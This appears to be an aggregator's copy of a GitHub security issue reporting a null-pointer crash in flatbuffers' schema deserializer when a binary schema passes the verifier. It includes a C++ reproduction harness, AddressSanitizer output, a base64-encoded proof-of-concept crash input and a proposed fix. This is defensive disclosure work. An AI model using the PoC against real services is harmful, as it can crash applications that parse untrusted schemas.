google / google/flatbuffers

SEGV in `StructDef::Deserialize` via `IsStruct` on a bfbs schema that passes `VerifySchemaBuffer`

Open
#9,144 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
26.5k
Forks
3.7k
PR merge metrics
No merged PRs in 30d

Description

## Summary

`flatbuffers::Parser::Deserialize` crashes with a SEGV while deserializing a binary schema (`.bfbs`) buffer that **passes** `reflection::VerifySchemaBuffer`. During `StructDef::Deserialize`, computing the inline size of a field type reaches `flatbuffers::IsStruct`, which dereferences `type.struct_def` (a cross-reference the verifier does not validate). For a struct field whose type claims `BASE_TYPE_STRUCT` but whose `struct_def` was never resolved, the dereference faults on an invalid pointer.

Because the schema buffer is accepted by the dedicated verifier, an application that follows the recommended "verify before use" pattern still crashes — the verifier guarantees buffer-structural validity but not the schema cross-references that `Deserialize` trusts.

## Root Cause

`StructDef::Deserialize` recomputes padding for fixed (struct) layouts and calls `InlineSize` on each field's type (idl_parser.cpp:4161-4170):

```cpp
if (fixed) {
// Recompute padding since that's currently not serialized.
auto size = InlineSize(field_def->value.type);
auto next_field =
i + 1 < indexes.size() ? of.Get(indexes[i + 1]) : nullptr;
tmp_struct_size += size;
field_def->padding =
next_field ? (next_field->offset() - field_def->value.offset) - size
: PaddingBytes(tmp_struct_size, minalign);
tmp_struct_size += field_def->padding;
}
```

`InlineSize` consults `IsStruct`, which unconditionally dereferences `type.struct_def` (idl.h:533-535):

```cpp
inline bool IsStruct(const Type& type) {
return type.base_type == BASE_TYPE_STRUCT && type.struct_def->fixed;
}
```

`reflection::VerifySchemaBuffer` validates the FlatBuffer table/vtable structure of the bfbs buffer, but does not validate that a field declared as `BASE_TYPE_STRUCT` actually resolves to a present, in-range `struct_def`. When `Deserialize` reaches a fixed struct whose field type's `struct_def` is unresolved/invalid, `type.struct_def->fixed` reads through an invalid pointer and the process takes a SEGV.

## PoC

`poc/poc.bin` — 134 bytes. After the harness input framing (2 header bytes stripped, remainder split into a bfbs schema region and a JSON region by a ratio byte), the carved bfbs region passes `reflection::VerifySchemaBuffer` and then crashes `Parser::Deserialize`.

## Trigger Method

Standalone program using only public APIs (`app_parser_deserialize.cc`, verified at the pinned commit with `-fsanitize=address`). It mirrors the harness framing, runs the verifier first (which passes), then deserializes:

```cpp
#include
#include
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection.h"
#include "flatbuffers/verifier.h"
int main(int argc, char** argv) {
if (argc < 2) { fprintf(stderr, "usage: %s poc\n", argv[0]); return 2; }
FILE* fp = fopen(argv[1], "rb"); if (!fp) { perror("open"); return 2; }
std::vector in;
{ int c; while ((c = fgetc(fp)) != EOF) in.push_back((uint8_t)c); }
fclose(fp);
size_t size = in.size(); const uint8_t* data = in.data();
if (size < 8) return 0;
uint8_t flags = data[0]; uint8_t json_ratio = data[1]; data += 2; size -= 2;
size_t json_len = (size * json_ratio) / 256; size_t bfbs_len = size - json_len;
if (bfbs_len < 4) return 0;
const uint8_t* bfbs_data = data;
flatbuffers::Verifier verifier(bfbs_data, bfbs_len);
if (!reflection::VerifySchemaBuffer(verifier)) { // PASSES for the PoC
fprintf(stderr, "[app] VerifySchemaBuffer FAILED\n"); return 0;
}
fprintf(stderr, "[app] VerifySchemaBuffer PASSED (bfbs_len=%zu) -> Deserialize\n", bfbs_len);
flatbuffers::IDLOptions opts;
opts.strict_json = (flags & 0x80) != 0;
opts.skip_unexpected_fields_in_json = (flags & 0x40) != 0;
opts.allow_non_utf8 = (flags & 0x20) != 0;
opts.output_default_scalars_in_json = (flags & 0x10) != 0;
flatbuffers::Parser parser(opts);
parser.Deserialize(bfbs_data, bfbs_len); // public API — SEGV fault site
return 0;
}
```

```bash
clang++ -fsanitize=address -g -O1 -I include app_parser_deserialize.cc \
libflatbuffers.a -o app_parser_deserialize
./app_parser_deserialize poc/poc.bin
```

Observed:

```
[app] VerifySchemaBuffer PASSED (...) -> Deserialize
AddressSanitizer: SEGV on unknown address 0x0000000000110
#0 flatbuffers::IsStruct(flatbuffers::Type const&) include/flatbuffers/idl.h:534
#1 flatbuffers::StructDef::Deserialize src/idl_parser.cpp:4163
#2 flatbuffers::Parser::Deserialize src/idl_parser.cpp:4487
#3 flatbuffers::Parser::Deserialize src/idl_parser.cpp:4441
#4 main
```

Confirmed still reproducing on **current `master` (HEAD `81edeb17`, 2026-06-18)** — same SEGV at
`StructDef::Deserialize` `idl_parser.cpp:4163` (`InlineSize` → `IsStruct`), after `VerifySchemaBuffer` passes.

## Suggested Fix

`StructDef::Deserialize` (and the `IsStruct`/`InlineSize` path) must not trust that a `BASE_TYPE_STRUCT` field type has a valid resolved `struct_def`. Either:

- Make `Parser::Deserialize` validate, before computing struct layout, that every field type marked as a struct/table resolves to an in-range, present object index and set `parser.error_` + return `false` otherwise; or
- Have `IsStruct` (and callers) guard against a null/unresolved `struct_def` instead of unconditionally dereferencing it.

More broadly, `reflection::VerifySchemaBuffer` does not cover the schema cross-references that `Deserialize` depends on, so `Deserialize` should defensively re-validate those references rather than assuming a passing verify implies safe-to-deserialize.

## PoC bytes (self-contained)

The trigger input is **134 bytes** (`poc/poc.bin`).
Recreate it exactly with:

```bash
base64 -d > poc.bin <<'B64'
AAAQAAAAQkZCUwgADAAEAAgACAAAAAwAAAAEAAAAAAAAAAEAAAAQAAAADAAUAAgADAAHABAADAAAAAAAAAFAAAAACAAAAAEAAAAB
AAAADAAAAAgADgAEAAgACAAAABgAAAAMAAAAAAAGAAgABwAGAAAAAAAADwEAAABmAAAAAQAAAFMAAAA=
B64
```

## Credit

Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).

Contributor guide

Open the contributing guide

Research direction

Start in src/idl_parser.cpp at StructDef::Deserialize and inspect the InlineSize/IsStruct path in include/flatbuffers/idl.h. Reproduce the failure with poc/poc.bin using the provided app_parser_deserialize.cc command and AddressSanitizer. Done means VerifySchemaBuffer can still pass while Parser::Deserialize rejects the malformed cross-reference without crashing.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.